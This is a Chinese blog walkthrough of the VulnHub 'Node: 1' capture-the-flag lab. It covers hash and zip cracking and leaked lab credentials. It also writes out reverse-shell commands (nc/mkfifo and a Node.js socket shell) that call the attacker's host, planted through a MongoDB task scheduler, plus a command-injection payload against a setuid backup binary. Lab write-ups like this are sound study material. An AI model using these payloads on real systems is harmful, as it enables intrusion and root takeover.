VulnHub-Node: 1

admin 2023年8月5日20:02:32评论7 views字数 4275阅读14分15秒阅读模式

大余安全  

一个每日分享渗透小技巧的公众号VulnHub-Node: 1



大家好,这里是 大余安全 的第 34 篇文章,本公众号会每日分享攻防渗透技术给大家。



VulnHub-Node: 1

靶机地址:https://www.vulnhub.com/entry/node-1,252/

靶机难度:中级(CTF)

靶机发布日期:2018年8月7日

靶机描述:

节点是中等级别的boot2root挑战,最初是为HackTheBox创建的。有两个标志(用户和根标志)和多种不同的技术可以使用。OVA已在VMware和Virtual Box上进行了测试

目标:得到root权限&找到flag.txt


请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

VulnHub-Node: 1
VulnHub-Node: 1



一、信息收集


VulnHub-Node: 1

我们在VM中需要确定攻击目标的IP地址,需要使用nmap获取目标IP地址:

VulnHub-Node: 1

我们已经找到了此次CTF目标计算机IP地址:192.168.56.130

VulnHub-Node: 1

nmap查看到22和3000端口已经开启...(又是Node.js)前几章也有类似的

VulnHub-Node: 1

VulnHub-Node: 1

使用默认密码无法登录...

还使用了dirb,nikto和uniscan去爆破,但是返回的地址都在主页上...没啥别的有用信息...

回主页查看下前端源码看看...

VulnHub-Node: 1

该站点使用的javascript文件,并且使用了angular.min.js文件来搭建....

这边一个一个打开看看...

VulnHub-Node: 1

VulnHub-Node: 1

在profile.js和home.js文件中找到了几个GET请求...

这边可以用burpsuit或者curl查看底层链接情况...

VulnHub-Node: 1

命令:curl IP+端口+目录...

可以看到/api/users/存在四个用户.../api/users/latest存在三个用户....

VulnHub-Node: 1

链接:

https://www.onlinehashcrack.com/hash-identification.phphttps://crackstation.net/http://finder.insidepro.team/

以上都可以进行哈希破解...

这边得到了四个用户名和密码...

myP14ceAdm1nAcc0uNT和manchester

tom和spongebob

mark和snowflake

rastating没解析出来...

我们登陆看看...

VulnHub-Node: 1

tom和mark用户登陆都不是管理员界面,上图是用了myP14ceAdm1nAcc0uNT和manchester进行登陆,下载备份文件..

VulnHub-Node: 1

文件下载下来发现是base64的文件...

我用base64 -d 解码到文件夹打开发现是乱码....

VulnHub-Node: 1

原来是zip类型的文件...

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt dayu.zip
参数  描述-D  指定方式为字典猜解-p  指定猜解字典的路径-u  表示只显示破解出来的密码,其他错误的密码不显示出

VulnHub-Node: 1

解压密码破解出来了...

magicword

VulnHub-Node: 1

VulnHub-Node: 1

熟悉node.js的同学应该会了解app.js的作用,它是程序启动文件,里面存储着重要配置信息,从该文件中,获取到mongodb的配置信息...

5AYRft73VtFpc84k


二、提权



VulnHub-Node: 1

成功登陆mark用户...

VulnHub-Node: 1

cat /etc/*-release

linux 4.4.0版本...

VulnHub-Node: 1

在漏洞库里搜索了下,发现就44298适合,别的40871我试了不成功...

VulnHub-Node: 1

VulnHub-Node: 1

将shell上传到靶机上,然后GCC编译,执行提权即可...

还发现了另外一种提权的方法...获得了user和root文本内容...



另外几种提权方法



VulnHub-Node: 1

看到/var/scheduler/app.js的tom用户下运行的调度程序应用程序....

VulnHub-Node: 1

VulnHub-Node: 1

可以获得的信息...

可以链接到Mongo数据库....doc.cmd每个带有字段cmd的文档上执行...每30秒setInterval调用一次函数并执行...

VulnHub-Node: 1

mongo -u mark -p 5AYRft73VtFpc84k schedulershow collectionsdb.tasks.find({})db.tasks.insert({cmd: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.103 4444 >/tmp/f"})rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.103 4444 >/tmp/f

VulnHub-Node: 1

使用mark的凭据访问Mongo数据库,插入一个新文档以在“ cmd”字段中添加一个反向shell命令,本地开启NC监听,执行的命令和脚本

[参考](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)

...可以查看到第一个user的标志...


当然这里还有别的方法在JavaScript中创建一个反向shell...

VulnHub-Node: 1


1、mongo -u mark -p 5AYRft73VtFpc84k scheduler2、show collections3、db.tasks.findOne()4、db.tasks.insert({"cmd": "/usr/bin/node /tmp/dayushell.js"})shell: - (function(){ var net = require("net"),  cp = require("child_process"),  sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(1234, "192.168.56.103", function(){  client.pipe(sh.stdin);  sh.stdout.pipe(client);  sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application form crashing})();

在/tmp/目录写入一个shell,然后就可以对mongodb通过mark凭据建立与凭证进行链接...等待30秒即可获得权限...

继续下一步,查看下tom用户下的信息...

VulnHub-Node: 1

在/usr/local/bin目录中发现backup二进制可执行文件...看到管理组中的任何用户都可以执行二进制文件...但在运行二进制文件时,它将以root特权运行...前面可以看到我们tom用户在admin用户组中...

VulnHub-Node: 1

这边app.js的key是:

45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474

这边有两种方式提权,在app.js中或者backup中放入密匙即可...

开始

VulnHub-Node: 1

这边用:

/usr/local/bin/backup -q <backup_key> <directory>

来执行...

目录这边可以用/etc/或者/root/,使用这两个目录才会产生base64字符串...

该字符串可以按照与之前的myplace.backup文件完全相同的方式进行解码和解压缩....

我们直接strings查看下...

VulnHub-Node: 1

可以从该命令的输出推断出,如果directory参数是/root或/etc,则返回上面的硬编码base64长字符串,否则,二进制文件将运行

/usr/bin/zip -r -P magicword %s %s > /dev/null

由于脚本是加压缩文件...我希望执行以下命令:

 - /usr/bin/zip -r -P magicworld any_directory/bin/bashany_command > /dev/null

需要绕过/dev/null重定向......

现在要做的就是:

需要将字符串作为第三个参数传递给二进制可执行文件,该二进制可执行文件带有多个n字符,以打印新行,然后当/bin/bash执行时,我们将具有root访问权限,因为二进制文件以root身份运行,添加了最终命令,使bash会话的输出不会重定向到/dev/null即可...(不懂的多理解几遍...)

VulnHub-Node: 1

/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "$(echo '/any_directoryn/bin/bashnany_command')"

注意:此命令在前面看到的python代码段创建的伪终端内不起作用的,必须首先通过在psuedo-terminal内键入exit或通过以用户tom身份重新连接而完全不运行python代码段来留下该伪终端,才可以执行成功!!

可以看到,成功利用zip插入了shell获得root权限...


这里我在将另外两种方法...别嫌多,这是我累积这么多篇来的成果吧...

一种是在获得mark的账号ssh登录后用linux/local/bpf_sign_extension_priv_esc可以直接提权成为root,这是利用了CVE-2017-16995 这个漏洞去提权...

最后是缓冲区溢出...

gzip -c < /usr/local/bin/backup > /tmp/backup.gz base64 < /tmp/backup.gzH4sIAL7Zq1kAA+ybe3Qb.......查看到的值...AAAecho H4sIAL...AAA== > backup.gz.b64base64 -d < backup.gz.b64 > backup.gzgunzip -c < backup.gz > backup


VulnHub-Node: 1

用以上命令进行将backup考到kali或者本地计算机上使用IDA或者gdb进行分析...有缓冲区溢出...这里我没有继续进行尝试...我留着以后回来挑战缓冲区溢出的方法...


由于我们已经成功得到root权限,因此完成了简单靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。


如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。


如果觉得这篇文章对你有帮助,可以转发到朋友圈,谢谢小伙伴~

VulnHub-Node: 1
VulnHub-Node: 1


VulnHub-Node: 1


欢迎加入渗透学习交流群,想入群的小伙伴们加我微信,共同进步共同成长!

VulnHub-Node: 1

大余安全

一个全栈渗透小技巧的公众号

VulnHub-Node: 1

原文始发于微信公众号(大余安全):VulnHub-Node: 1

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月5日20:02:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   VulnHub-Node: 1http://cn-sec.com/archives/892688.html

发表评论

匿名网友 填写信息